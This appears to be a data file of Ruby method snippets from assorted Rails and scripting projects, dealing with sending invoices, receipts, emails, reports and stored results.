"def transmit\n tpl = Template.find(params[\"template_id\"])\n tpl.load(params[:id])\n \n tpl.object.status = InvoiceStatus.find_by_name('invoiced')\n tpl.object.save!\n \n #Notification.deliver_invoice_email(self, tpl)\n Notification.deliver_invoice_fax(self, tpl)\n \n log = SystemLog.create({ \n :log_type => SystemLogType.find_by_name('notification'),\n :loggable_id => params[:id],\n :loggable_type => 'Invoice',\n :subject => 'Invoice sent',\n :msg => 'Invoiced client', \n :created_by => self.current_user.account \n })\n \n action = RAction.new(\n :component_id => 'log_' + tpl.object.id.to_s,\n :msg => 'Inserted log',\n :verb => 'insert',\n :data => {:log => log.to_h},\n :success => true\n ) \n res = RResponse.new\n res.add_action(action)\n res.data[:status] = tpl.object.status.name \n res.success = true\n res.msg = 'Transmitted invoice ' + \" pdf2html success: \"\n respond(res) \n end",
"def send_to_acx\n @result[:sent] = @transaction_class.with_status(:new).with_result(:unreconciled).inject(0) do |count, transaction|\n response = {\"command\"=> \"reconcile_#{transaction_name}\", transaction_name => transaction}\n AMQPQueue.enqueue(response)\n transaction.status = :sent\n transaction.send_times += 1\n transaction.save\n count += 1\n end\n end",
"def finish!\n send_results()\n self.current_question_index = nil\n save()\n end",
"def process\n save_as(:processing)\n perform_checks\n initiate_delivery\n capture_payment\n save_as(:processed)\n end",
"def store_cache\n if options.key? :cache_results\n json = @results_cache.to_json\n outf = File.open(\"/tmp/%s_%s_snmp_results.json\" % [options[:model], options[:host]], \"w\")\n outf.write(json)\n outf.close\n end\n end",
"def call\n transaction do\n @failures = {}\n update_contents_and_resort_opinions(form)\n publish_drafts\n end\n\n if @failures.any?\n broadcast(:invalid, @failures)\n else\n broadcast(:ok)\n end\n end",
"def submit\n # validate_line_items\n Wheretocard::Response.from_order_request(self)\n end",
"def results; end",
"def results; end",
"def results; end",
"def processRequest\n # retrieve the requests with data\n \n req = DSRequest.new(@request, @model) \n # set the response variable\n res = req.execute\n File.open('kris.txt', 'w') { |file| file.write(res) }\n # safeguard, if was null, create an empty response with failed status\n if res.nil?\n res = DSResponse.new\n res.status=-1\n end \n return res \n end",
"def print_results\n UI.puts results_message\n end",
"def perform\n success_with_data(PurchaseLog.sale_details)\n end",
"def callback\n save({'result' => @datastore['result']})\n end",
"def callback\n save({'result' => @datastore['result']})\n end",
"def store_results(subreddit, which_q, results)\n if results.empty?\n subreddit[\"#{which_q}_recent\"] = []\n @l.info \"nothing to report, #{subreddit.name}::#{which_q} is empty\" \n else\n subreddit[\"#{which_q}_recent\"] = results\n @l.info \"#{results.count} new items from #{subreddit.name}::#{which_q} to check\"\n end\n end",
"def send_mail(results)\n mail = MailFactory.request(@query_options['results_format'], results, @options['email'])\n mail.send\n end",
"def receive\n items = @purchase.receive!\n redirect_to purchase_path(@purchase), :notice => [t(:received) ,items ,t(:items)].join(\" \")\n end",
"def process_report_results(result_array_of_hashes)\n Delayed::Worker.logger.debug \"Processing #{@asq.name}\"\n @asq.store_results(result_array_of_hashes.to_json)\n # if asq was previously in operational error, now's the time to clear it:\n @asq.clear\n @asq.finish_refresh\n end",
"def generate_receipts\n\t\t## and now display this.\n\t\tif self.finalize_order == YES\n\t\t\tself.reports.each do |report|\n\t\t\t\tif report.consider_for_processing?(self.history_tags)\n\t\t\t\t\t## ready for processing.\n\t\t\t\t\tif report.is_outsourced?\n\t\t\t\t\t\t#puts \"report is outsourced.\"\n\t\t\t\t\t\tif bill_direct_to_patient?\n\t\t\t\t\t\t\t#this will be true.\n\t\t\t\t\t\t\t#puts \"we are on bill direct to patient.\"\n\t\t\t\t\t\t\t#will be receipt to patient via organizaiton.\n\t\t\t\t\t\t\treceipt_to_patient(report.currently_held_by_organization,report)\n\t\t\t\t\t\t\t#(from_organization_id,report) \n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t#puts \"we are on double bill\"\n\t\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\t\treceipt_to_order_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t\n\t\t\t\t\t\treceipt_to_patient(self.organization.id.to_s,report)\n\t\t\t\t\t\n\t\t\t\t\t\tunless self.outsourced_by_organization_id.blank?\n\t\t\t\t\t\t\treceipt_to_outsourced_organization(report)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def on_send_response(cli,data)\n cli.payload = data\n cli.recalc\n inject cli.to_s\n sent_info(cli,data) if datastore['VERBOSE']\n end",
"def emailResults()\n obj = EmailHelper.new()\n emailSubject = \"Illumina Capture Stats : Flowcell \" + @fcBarcode.to_s\n emailFrom = \"sol-pipe@bcm.edu\" \n emailText = @captureResults.formatForSTDOUT()\n emailTo = obj.getCaptureResultRecepientEmailList()\n\n begin\n obj.sendEmail(emailFrom, emailTo, emailSubject, emailText)\n rescue Exception => e\n puts e.message \n puts e.backtrace.inspect\n end\n end",
"def\n\n# *********VENUE GET METHODS*********\n def get_till_receipts\n\n end",
"def process_result\n end",
"def download_receipt\n @slft_return = load_step\n success, attachment = Dashboard::DashboardReturn.return_pdf(current_user,\n @slft_return.back_office_receipt_request, 'Receipt')\n return unless success\n\n # Download the file\n send_file_from_attachment(attachment[:document_return])\n end",
"def result\n system(\"clear\")\n puts \"##############################\"\n puts \"# Congratulations #{@@name}! \" \n puts \"# #\"\n puts \"# You got #{@count} answers correct! #\"\n puts \"# #\"\n puts \"# Check the leaderboard #\"\n puts \"# to see if you made #\"\n puts \"# the top 10! #\"\n puts \"# #\"\n puts \"##############################\"\n any_key\n send_to_leaderboard\n send_to_file\n end",
"def _send_result state\n unless @one_way || state.message.one_way\n # $stderr.write \"\\n _send_result #{state.result_payload.inspect}\\n\\n\"\n _write(state.result_payload, state.out_stream, state)\n true\n end\n end",
"def save_result\n @running = Facade::SportSession::Running.find_by id: params[:id]\n\n if not @running.is_confirmed_participant(current_user)\n redirect_to runnings_url, alert: 'Permission denied'\n end\n\n @result = @running.result(current_user)\n\n # read gpx file if present\n track = nil\n if results_params[:file].present?\n @result = Track.create_track_and_update_result(@result, results_params[:file])\n track = @result.track\n else\n @result.time = results_params[:time]\n @result.length = results_params[:length]\n end\n\n if @result.save\n track.save if track.present?\n # Check for new Achievements!\n achievement_checker = AchievementsChecker.new @result\n achievements = achievement_checker.check true\n if achievements.count > 0\n titles = '\"' + achievements.map { |a| a.achievement.title}.join('\", \"') + '\"'\n flash[:notice] = [\"Congratulations, you obtained new achievements: #{titles}\"]\n flash[:notice] << 'Successfully saved results'\n else\n flash[:notice] = 'Successfully saved results'\n end\n\n redirect_to runnings_url\n else\n render :edit_result\n end\n\n end",
"def perform\n\n _perform do\n\n sanitize_event_data\n\n create_purchase_log_entry\n\n get_user_from_ethereum\n\n update_purchase_attribute_in_pepo_campaigns\n\n send_purchase_confirmation_email\n\n end\n\n end",
"def report\n # generate_report()\n ReportWorker.perform_async(\"07-01-2018\", \"08-01-2018\")\n render \\\n json: {status: 'SUCCESS', message:'REQUEST TO GENERATE A REPORT ADDED TO THE QUEUE'},\n status: :ok\n end",
"def receipt_post\n @cart = Cart.find(params[:id], :readonly => true)\n\n unless (@customer and @cart.customer == @customer) \\\n or (respond_to?(:current_user) and current_user and current_user.admin?)\n flash[:warning] = \"You cannot view your receipts without logging in.\"\n redirect_to :controller=>'customer', :action=>'login'\n return\n end\n\n OrderNotifier.deliver_receipt @cart\n flash[:notice] = \"Email has been sent do #{@cart.customer.email}\"\n render :action => 'receipt'\n end",
"def store_result\n check_connection\n raise ClientError, 'invalid usage' unless @result_exist\n res = Result.new @fields, @protocol\n @server_status = @protocol.server_status\n @result_exist = false\n res\n end",
"def execute\n @distribution = { 'total' => 0 }\n @usable_questions = usable_questions\n\n offset = 0\n total_count = 0\n loop do\n response_ids = questionnaire.responses.completed.limit(BATCH_SIZE).offset(offset).pluck(:content)\n break if response_ids.blank?\n\n total_count += process_response_ids(response_ids)\n offset += BATCH_SIZE\n end\n @distribution['total'] = total_count\n RedisService.set(\"distribution_#{questionnaire.key}\", @distribution.to_json)\n end",
"def results\r\n print_books\r\n print_toys\r\n print_classes\r\n end",
"def submit_result\n process_submit_response(submit_request) if @score > 1363\n end",
"def store_result(result)\n result_id = UUIDTools::UUID.random_create.to_s\n @local_redis_server.set(result_id, result)\n \n result_uri = \"redis://#{@local_redis_server.client.host}:#{@local_redis_server.client.port}/#{@local_redis_server.client.db}/#{result_id}\"\n result_uri\n end",
"def resend_receipt\n @order = Order.find(params[:id])\n #@order.cleanup_successful\n # Send success message\n @order.deliver_receipt\n redirect_to :action => 'show', :id => @order.id\n end",
"def receipt\n check_payment(\"GET\", current_user)\n if @payment.failed?\n flash.now[:error] = \"We are sorry, we were not able to verify your payment from Amazon.com\"\n render \"sorry\"\n end\n end",
"def Results(testcase_no, checkpoint, result, screenshot)\n Current_Date_Time()\n\t$fileHtml.puts \"</td><tr><td width=110><font size=2 face=verdana>\"\n\t$fileHtml.puts \"#{testcase_no}\"\n\t$fileHtml.puts \"</td><td width=400><font size=2 face=verdana>\"\n\t$fileHtml.puts \"#{checkpoint}\"\n \tif (\"#{result}\" == \"PASS\")\n $fileHtml.puts \"</td><td width=100 bgcolor=green><font size=2 face=verdana color=white><center><font color=white>\"\n\t elsif (\"#{result}\" == \"FAIL\")\n\t Capture_Screenshot(screenshot, testcase_no)\t \n $fileHtml.puts \"</td><td width=100 bgcolor=red><font size=2 face=verdana color=white><center><a href ='\" + \"#{$shot}\" + \"'><font color=white>\"\n\t else\n $fileHtml.puts \"</td><td width=100 bgcolor=SeaShell><font size=2 face=verdana color=white><center>\"\n\t end\n $fileHtml.puts \"#{result}\"\n $fileHtml.puts \"</a>\"\n $fileHtml.puts \"</td><td width=110><font size=2 face=verdana><center>\"\n $fileHtml.puts \"#{$current_time}\"+\" \"+\"#{$current_date}\"\n $fileHtml.puts \"</td>\"\nend",
"def save_result\n @cycling = Facade::SportSession::Cycling.find_by id: params[:id]\n\n if not @cycling.is_confirmed_participant(current_user)\n redirect_to cyclings_url, alert: 'Permission denied'\n end\n\n @result = @cycling.result(current_user)\n\n # read gpx file if present\n track = nil\n if results_params[:file].present?\n @result = Track.create_track_and_update_result(@result, results_params[:file])\n track = @result.track\n else\n @result.time = results_params[:time]\n @result.length = results_params[:length]\n end\n\n if @result.save\n track.save if track.present?\n # Check for new Achievements!\n achievement_checker = AchievementsChecker.new @result\n achievements = achievement_checker.check true\n if achievements.count > 0\n titles = '\"' + achievements.map { |a| a.achievement.title}.join('\", \"') + '\"'\n flash[:notice] = [\"Congratulations, you obtained new achievements: #{titles}\"]\n flash[:notice] << 'Successfully saved results'\n else\n flash[:notice] = 'Successfully saved results'\n end\n\n redirect_to cyclings_url\n else\n flash[:notice] = 'Unable to save results'\n render :edit_result\n end\n\n end",
"def fetch\n counter = params[:counter]\n if Job.isDone?(counter)\n render :status => 200, :text => Job.getResult(counter)\n else\n render :status => 202, :text => ''\n end\n end",
"def publish_results\n # @contest is fetched by CanCan\n\n # Define params for PDF output\n prawnto filename: \"ergebnisliste#{random_number}\", prawn: { page_size: 'A4', skip_page_creation: true }\n @contest_category = ContestCategory.find(params[:contest_category_id]) if params[:contest_category_id]\n @age_group = params[:age_group] if params[:age_group]\n @performances = @contest.performances\n .where(contest_category_id: @contest_category, age_group: @age_group)\n .accessible_by(current_ability)\n .order(:stage_time)\n end",
"def pump_results!\n loop do\n distribute_results!\n end\n end",
"def work\n begin\n news = @source.fetch_news @last_fetch\n rescue\n puts \"Something went wrong getting the news. Try again later\"\n end\n\n news ||= []\n\n if news.length > 0\n @last_fetch = news.first[\"time\"]\n @postman.add_news(news)\n if @postman.done_fetch\n @adapter.update_last_fetch(@source.name, @last_fetch)\n puts \"Success: #{@source.name} #{@last_fetch}\"\n else\n puts \"Something went wrong sending the news\"\n end\n else\n puts \"Nothing to send: #{@source.name}\"\n end\n end",
"def distribute_results!\n response = JSON.parse(@socket.readline)\n\n if response[\"event\"]\n @event_queue << response\n else\n @result_queue << response\n end\n rescue StandardError\n @alive = false\n Thread.exit\n end",
"def send_receipt\n\t\tif ConfigData.get(:receipts, :active).to_s == \"true\"\n\t\t\tputs \"Sending receipt\" if @verbose\n\t\t\tapi_key = ConfigData.get(:receipts, :mailgun_private_api_key)\n\t\t\tdomain = ConfigData.get(:receipts, :mailgun_domain)\n\n\t\t\turl = \"https://api:#{ api_key }@api.mailgun.net/v3/#{ domain }/messages\"\n\t\t\tnew_ids = self.new_puzzle_ids.sort\n\t\t\tmessage = \"Delivered #{ new_ids.length } \"\n\t\t\tif new_ids.length == 1\n\t\t\t\tmessage << \"puzzle \"\n\t\t\telse\n\t\t\t\tmessage << \"puzzles \"\n\t\t\tend\n\t\t\tmessage << \"with IDs: #{ new_ids.join(\", \") }.\"\n\n\t\t\tRestClient.post(url,\n\t\t\t\tfrom: \"Crossword Delivery <crossword_receipts@#{ domain }>\",\n\t\t\t\tto: ConfigData.get(:receipts, :email),\n\t\t\t\tsubject: \"Crossword Delivery Scheduled!\",\n\t\t\t\ttext: message)\n\t\tend\n\n\tend",
"def receipt\n authorize @job_candidate\n @job = @job_candidate.job\n end",
"def send_results!(recipients)\n EmailMessage.create(\n :recipients => recipients,\n :subject => \"Form Submission: [#{@custom_form.name}]\",\n :body => email_contents\n )\n end",
"def receipt\r\n if self.qty >= 1\r\n puts \"#{self.drink} x#{self.qty} @ $#{'%.2f' % self.price} each: $#{'%.2f' % self.total_cost}\"\r\n end\r\n end",
"def submit_return\n return false unless @slft_return.prepare_to_save_latest\n\n # Save the prepared return in the cache in case the user navigates back and re-tries\n wizard_save(@slft_return)\n success = @slft_return.save_latest(current_user)\n # need to save even if not successful so the saved flag is cleared\n wizard_save(@slft_return)\n success\n end",
"def request_result\n \n end",
"def process_results(results)\n\n if results.length > 5\n return \"More than 5 results, please be more specific.\"\n elsif results.length == 0\n return \"No runs found.\"\n end\n return make_reply(results)\n\nend",
"def result\n @results_data = Answer.get_results(params[:code], current_user[\"id\"])\n end",
"def add_result(entry)\n with_hold_file('a') do |file|\n file.write EntrySerializer.new(entry)\n file.write \"\\n\"\n end\n end",
"def trash_report\n respond_to do |format|\n format.html\n @trash = Trash.all\n @user = current_user\n \n #generate pdf file\n pdf = TrashPdf.new(@trash, @user)\n send_data pdf.render, :filename => 'trashReport-' + Time.now.to_date.to_s + '.pdf', :type => 'application/pdf', :disposition => 'attachment'\n end\n end",
"def download_receipt\n pdf_type = 'Receipt'\n return_pdf(pdf_type)\n end",
"def deliver\n response = ''\n begin\n response = Client.post(PATH, params)\n # rescue => e\n # response = \"An error occurred with message: #{e.message}\"\n end\n response\n end",
"def create\n @rent_payment = RentPayment.new(rent_payment_params)\n\n respond_to do |format|\n if @rent_payment.save\n @rent_payment.subunit_rent.payed = true\n @rent_payment.subunit_rent.save!\n\n @subunit_rent = @rent_payment.subunit_rent\n @subunit = @rent_payment.subunit\n @property = @subunit.property\n @renter = @subunit.renter\n\n @qrcode = RQRCode::QRCode.new(\"http://github.com/\").as_html\n\n # create a pdf from a string\n @pdf_string = render_to_string template: 'administrators/pdf_rent_payment', layout: 'layouts/pdf.html.erb', encoding: 'utf-8'\n\n # When the payment is saved, send mail to renter\n CreatedSubunitRentPaymentJob.set(wait: 5.seconds).perform_later(@rent_payment, @subunit_rent, @renter, @subunit, @property, @qrcode, @pdf_string)\n\n # Save the receipt to the system\n @rent_payment_id = @rent_payment.id\n CreateSubunitRentPaymentReceiptJob.set(wait: 5.seconds).perform_later(@rent_payment_id, @pdf_string)\n\n format.html { redirect_to subunit_path(@rent_payment.subunit), notice: 'Rent payment was successfully created.' }\n format.json { render :show, status: :created, location: @rent_payment }\n else\n format.html { render :new }\n format.json { render json: @rent_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def receipt\n receipt_pdf.render\n end",
"def saveReceipt\n\t\tcurrent_time = DateTime.now\n\t\tReceipt.create!(:concept => params[:tipofactura],\n\t\t\t\t\t\t\t:subtotal => params[:subtotal],\n\t\t\t\t\t\t\t:total => params[:pagototal],\n\t\t\t\t\t\t\t:iva => params[:iva],\n\t\t\t\t\t\t\t:xml => params[:rawxml],\n\t\t\t\t\t\t\t:users_id => current_user.id,\n\t\t\t\t\t\t\t:created_at => current_time,\n\t\t\t\t\t\t\t:updated_at => current_time,\n\t\t\t\t\t\t\t:user_email => current_user.email,\n\t\t\t\t\t\t\t:emisor => params[:emisor],\n\t\t\t\t\t\t\t:rfcEmisor => params[:rfcemisor],\n\t\t\t\t\t\t\t:receptor => params[:receptor],\n\t\t\t\t\t\t\t:rfcReceptor => params[:rfcreceptor])\n\t\tredirect_to action: 'viewInvoices' , email: current_user.email\n\tend",
"def process_report_results(result_array_of_hashes, asq)\n Delayed::Worker.logger.debug \"Processing #{asq.name}\"\n asq.store_results(result_array_of_hashes.to_json)\n # if asq was previously in operational error, now's the time to clear it:\n asq.clear\n asq.finish_refresh\n end",
"def process_receipts(_)\n Forwarder::process_receipts!\nend",
"def recibir_oc\n begin\n logger.debug(\"...Inicio recibir oc\")\n id_order = params.require(:idoc)\n url = Rails.configuration.oc_api_url + \"obtener/\" + id_order\n request = Typhoeus::Request.new(\n url, \n method: :get,\n headers: { ContentType: \"application/json\"})\n response = request.run\n oc_order = JSON.parse(response.body)[0]\n product = Product.where('sku = ?',oc_order['sku']).first\n if product.nil?\n OrdersController.new.rechazar_oc(id_order,'No hay producto en existencia')\n data_result = {:aceptado => false, :idoc => id_order }\n #Spawnling.new do\n # sleep(5)\n # logger.info('#####_produccion')\n #end\n else\n total = consultar_stock(oc_order['sku'])\n if(oc_order['cantidad'] < total) \n response_recep = OrdersController.new.recepcionar_oc(id_order)\n if response_recep[:status] \n \n ###### Guardamos datos orden localmente ######\n order_obj = Order.create!({\n :_id => oc_order['_id'], \n :canal => oc_order['canal'],\n :proveedor => oc_order['proveedor'], \n :cliente => oc_order['cliente'],\n :sku => oc_order['sku'].to_i, \n :cantidad => oc_order['cantidad'].to_i, \n :cantidadDespachada => oc_order['cantidadDespachada'].to_i,\n :precioUnitario => oc_order['precioUnitario'].to_i, \n :fechaEntrega => oc_order['fechaEntrega'],\n :fechaDespachos => oc_order['fechaDespachos'], \n :estado => oc_order['estado'],\n :tipo => 1\n })\n response_inv = InvoicesController.new.emitir_factura(id_order)\n if response_inv[:status]\n result = response_inv[:result]\n ##### Guardamos factura localmente #####\n factura_obj = Factura.create!({\n :_id => result['_id'], \n :bruto => result['bruto'].to_f,\n :iva => result['iva'].to_f, \n :total => result['total'].to_f,\n\t\t :order_id => order_obj['id'] })\n Spawnling.new do\n enviar_factura(result)\n end\n data_result = {:aceptado => true, :idoc => id_order}\n else\n OrdersController.new.rechazar_oc(id_order,'OC invalida')\n data_result = {:aceptado => false, :idoc => id_order }\n end \n else\n OrdersController.new.rechazar_oc(id_order,'No hay producto en existencia')\n data_result = {:error => response_recep [:result], :aceptado => false, :idoc => id_order}\n end\n else\n OrdersController.new.rechazar_oc(id_order,'No hay producto en existencia')\n data_result = {:aceptado => false, :idoc => id_order }\n end\n end\n logger.debug(\"...Fin recibir oc\")\n respond_to do |format|\n format.json { render json: data_result}\n format.html { render json: data_result }\n end\n rescue => ex\n Applog.debug(ex.message,'recibir_oc')\n respond_to do |format|\n format.json { render json: {:aceptado => false}}\n format.html { render json: {:aceptado => false}}\n end\n end\nend",
"def recibir\n #obtener la orden de compra con el id que nos envía el otro grupo.\n id = params[:id]\n id_store_reception = JSON.parse(request.body.read.to_s)\n id_store_reception = id_store_reception[\"id_store_reception\"]\n @result = HTTParty.get(OC_URI + 'obtener/' + id, :query => {}, :header => OPT)\n puts @result\n #Reviso si el id ingresado es valido para que oc no tire error\n if !@result[0]['created_at'].nil? then\n oc = @result[0]\n cliente = oc[\"cliente\"]\n cliente = IDS[cliente].to_s\n #una vez recibida la orden de compra hay que ver si la aceptamos o no\n #de momento no me preocuparía de ver si podemos comprar otras materias primas para producir y cumplir ordenes de comora\n if accept_general?(oc)\n accept(id, cliente)#esto le avisa a la api del profe y al otro grupo que aceptamos la oc\n @purchase_order = PurchaseOrder.new(oc) #si aceptamos la OC la guardamos en nuestro modelo.\n @purchase_order.save\n fact = createInvoice(oc[\"_id\"])\n #se le manda al grupo comprador la factura que acabamos de crear y nuestra cuenta de banco\n HTTParty.put(GURI + cliente + \".ing.puc.cl/invoices/\" + fact[0][\"_id\"], headers: GOPT, body:{\"bank_account\" => CTA})\n #poner en cola\n order = Order.new(oc:oc['_id'], total:Integer(oc['cantidad']), sku:oc['sku'], due_date:oc['fechaEntrega'], client:oc['cliente'], price:Integer(oc['precioUnitario']), destination: id_store_reception, state:\"accepted\")\n order.save\n render json: {'Message': \"Orden creada, aceptada y facturada\"}\n\n else\n reject(id, '', cliente)\n render json: {'Message': \"Orden rechazada\"}\n end\n else\n render status: 500, json:{\n Message: 'Declined: failed to process order, we need more details'\n }\n end\n end",
"def seller_invoices\n logger.info(\"Will send email of SELLER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_seller_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def send_doc\n tpl = Template.find(params[\"template_id\"])\n tpl.load(params[:id])\n \n Notification.deliver_order_email(self, tpl)\n Notification.deliver_order_fax(self, tpl)\n \n log = OrderLog.create({\n :order_id => params[:id],\n :subject => 'notification',\n :msg => 'Sent order-document \"' + tpl.label + '\"',\n :account_id => self.current_user.account.id,\n :order_log_type_id => OrderLogType.find_by_name('notification').id \n })\n \n res = RResponse.new\n res.add_action(RAction.new({\n :component_id => 'order-log-' + params[:id],\n :success => true,\n :data => {:log => log.to_a}\n }))\n res.success = true\n res.msg = 'Transmitted document \"' + tpl.label + '\"'\n respond(res)\n end",
"def output\n self.check!\n data = {\n \"method\" => @method.to_s,\n \"params\" => @params,\n \"id\" => @id\n }\n end",
"def store(result)\n file = \"#{@dir}/#{self.current_number}.json\"\n File.open(file, \"w\") do |f|\n f.puts(JSON.pretty_generate([@config, result]))\n end\n puts \"Stored results in #{file}\"\n puts\n end",
"def execute_work!\n save_receipts = event_store.with_transaction do\n pending_saves.map(&:call)\n end\n\n @pending_saves = []\n\n save_receipts.each do |reciept|\n message_bus.publish_events(reciept.id, reciept.klass, reciept.events,\n reciept.meta.merge(meta))\n end\n\n self\n end",
"def print_for_tu_result\n @letters = Letter.find(:all, :conditions => ['item_date between ? and ?', \n params[:report][:starts_at], \n params[:report][:ends_at]])\n render :xml => @letters.to_xml\n @rt = params[:report][:report_type]\n @rg = params[:report][:report_group]\n @rgt = params[:report][:report_grouptype] if params[:report] \n mime_type = \"application/msword\"\n @user = current_user\n @file = DataFile.do_rtf_for_tu(@user, @letters, @rt, @rg, @rgt)\n # Send the new file with the wordprocessingml document\n # content type.\n send_file(@file, :filename => Russian.t(:letters) + \" - \" + Time.now.to_s + \".doc\", :type => mime_type)\n end",
"def post_receipt(atom)\n form_data = { application: @application_name }\n @hive_party.post \"/atoms/#{atom.id}/receipts\", form_data\n end",
"def viewResults\n @concurso = Concurso.find(params[:concurso_id])\n path = File.join(Rails.root, \"data/concursos\",\"contest-\"+@concurso.id.to_s,\"results\",\"results.pdf\")\n send_file( path,\n :filename => \"results.pdf\",\n :type => \"application/pdf\",\n :stream => \"false\",\n # :disposition =>'attachment') ##download\n :disposition =>\"inline\") #ver no browser\n end",
"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'receipt', :only_path => false, \n :gateway => OPTIONS[:gateways][:authorize_net]), \n :include => true)\n else\n # return back to purchase page - will display error message there\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'purchase', :only_path => false, \n :order_id => params[:x_invoice_num], :failure => true), \n :include => true)\n end\n end",
"def ack_receipt\n Net::HTTP.get(URI(params[:response_url]))\n end",
"def create\n @receipt = Receipt.new(receipt_params)\n @qnt_parcela = receipt_params[:installments].to_i\n \n #se for somente uma parcela ele só salva uma vez\n if @qnt_parcela == 1\n \n \n respond_to do |format|\n \n if @receipt.save\n format.html { redirect_to @receipt, notice: 'Recebimento criado com sucesso.' }\n format.json { render :show, status: :created, location: @receipt }\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n end\n else\n #se tiver mais de uma parcela ele lança a quantidade de vezes no sistema\n if @qnt_parcela > 1\n @valor_total = receipt_params[:value_doc].to_f\n @resultado = @valor_total / @qnt_parcela\n @resultado = (@resultado).round(2)\n @data_vencto = receipt_params[:due_date]\n end\n \n while @qnt_parcela > 0\n @conta_parc = @conta_parc.to_i + 1 \n @data_vencto = @data_vencto.to_date + 1.month \n @receipt.discription = receipt_params[:discription] + ' Parc. ' + @conta_parc.to_s\n @receipt.due_date = @data_vencto\n @receipt.value_doc = @resultado\n \n if @receipt.save\n #só vai fazer o redirect quando finalizar\n else\n format.html { render :new }\n format.json { render json: @receipt.errors, status: :unprocessable_entity }\n end\n @qnt_parcela = @qnt_parcela - 1\n @receipt = Receipt.new(receipt_params) \n end \n redirect_to receipts_path\n flash[:success] = 'Parcelamento realizado com sucesso!'\n end \n end",
"def handle_response(r, session, job, request, data)\n # handle_response will get customers in groups of 100. When this is 0, we're done.\n complete = r['xml_attributes']['iteratorRemainingCount'] == '0'\n\n # if no customer updates occured we skip this.\n if r['invoice_ret']\n\n# We will then loop through each customer and create records.\n r['invoice_ret'].each do |qb_inv|\n invoice_data = {}\n invoice_data[:txn_id] = qb_inv['txn_id']\n invoice_data[:invoice_number] = qb_inv['txn_number']\n invoice_data[:c_edit] = qb_inv['edit_sequence']\n invoice_data[:c_date] = qb_inv['txn_date']\n\n if qb_inv['po_number']\n invoice_data[:c_po] = qb_inv['po_number']\n end\n\n if qb_inv['customer_ref']\n invoice_data[:customer_id] = Customer.find_by(list_id: qb_inv['customer_ref']['list_id']).id\n invoice_data[:c_name] = qb_inv['customer_ref']['full_name']\n end\n \n if qb_inv['ship_address']\n invoice_data[:c_ship1] = qb_inv['ship_address']['addr1']\n invoice_data[:c_ship2] = qb_inv['ship_address']['addr2']\n invoice_data[:c_ship3] = qb_inv['ship_address']['addr3']\n invoice_data[:c_ship4] = qb_inv['ship_address']['addr4']\n invoice_data[:c_ship5] = qb_inv['ship_address']['addr5']\n invoice_data[:c_shipcity] = qb_inv['ship_address']['city']\n invoice_data[:c_shipstate] = qb_inv['ship_address']['state']\n invoice_data[:c_shippostal] = qb_inv['ship_address']['postal_code']\n invoice_data[:c_shipcountry] = qb_inv['ship_address']['country']\n end\n \n if qb_inv['sales_rep_ref']\n invoice_data[:c_rep] = qb_inv['sales_rep_ref']['full_name']\n end\n \n invoice_ref = Order.find_by txn_id: invoice_data[:txn_id]\n if invoice_ref.blank?\n Order.create(invoice_data)\n \n elsif invoice_ref.updated_at < qb_inv['time_modified']\n invoice_ref.update(invoice_data)\n else\n Rails.logger.info(\"Invoice hasn't been changed\")\n end\n \n # This will be for the line item section\n if qb_inv['invoice_line_ret']\n # binding.pry\n \n qb_inv['invoice_line_ret'].each do |li|\n # We need to match the lineitem with order id\n li_data = {}\n\n invoice_ref2 = Order.find_by txn_id: invoice_data[:txn_id]\n li_data[:order_id] = invoice_ref2[:id]\n \n# It's still breaking in here somehwere. Nil Nilclass, \n\n if li != {\"xml_attributes\"=>{}}\n if li['item_ref']\n # binding.pry\n list_id = li['item_ref']['list_id']\n if Item.find_by(list_id: list_id).present?\n li_data[:item_id] = Item.find_by(list_id: list_id).id\n# It doesn't match, or isn't an inventory item, add it to other\n else\n # 87 represents an other item\n li_data[:item_id] = 87\n end \n\n li_data[:product_name] = li['item_ref']['full_name']\n end\n end\n \n if li['description']\n li_data[:description] = li['description']\n end\n # Does the line item have a quantity\n li_data[:qty] = li['quantity'].nil? ? nil : li['quantity'].to_i\n # Does this li have an amount?\n li_data[:amount] = li['amount'].nil? ? nil : li['amount'].to_f\n \n if li['inventory_site_ref']\n site_id = li['inventory_site_ref']['list_id']\n li_data[:site_id] = Site.find_by(list_id: site_id).id\n li_data[:site_name] = li['inventory_site_ref']['full_name']\n end\n\n \n # Now we need to record these line items\n li_ref = LineItem.find_by txn_id: li['txn_line_id']\n if li_ref.blank?\n LineItem.create(li_data)\n \n elsif li_ref.updated_at < qb_inv['time_modified']\n li_ref.update(li_data)\n else\n Rails.logger.info(\"Invoice hasn't been changed\")\n end\n \n\n end\n\n \n end\n end\nend\nend",
"def perform\n response\n end",
"def results\n return error if error?\n response if response?\n end",
"def post_read_result!\n @operation = READ_REQUEST\n post_outcome_request\n end",
"def view_worker\n @fresh_worker = MtCompanyWorker.find(params[:id]);\n @return_to = params[:ref];\n @return_to ||= \"worker_list\";\n security_breach( @return_to) if (@fresh_worker.mt_company != @mt_company )\n if ( request.post? )\n if ( params[:reason] == \"send_sms\" )\n begin\n SMS::deliver_sms(@fresh_worker.mobile, params[:sms_text]);\n add_confirmation \"SMS SENT\";\n rescue Exception=>e\n add_error e\n end\n end \n end\n end",
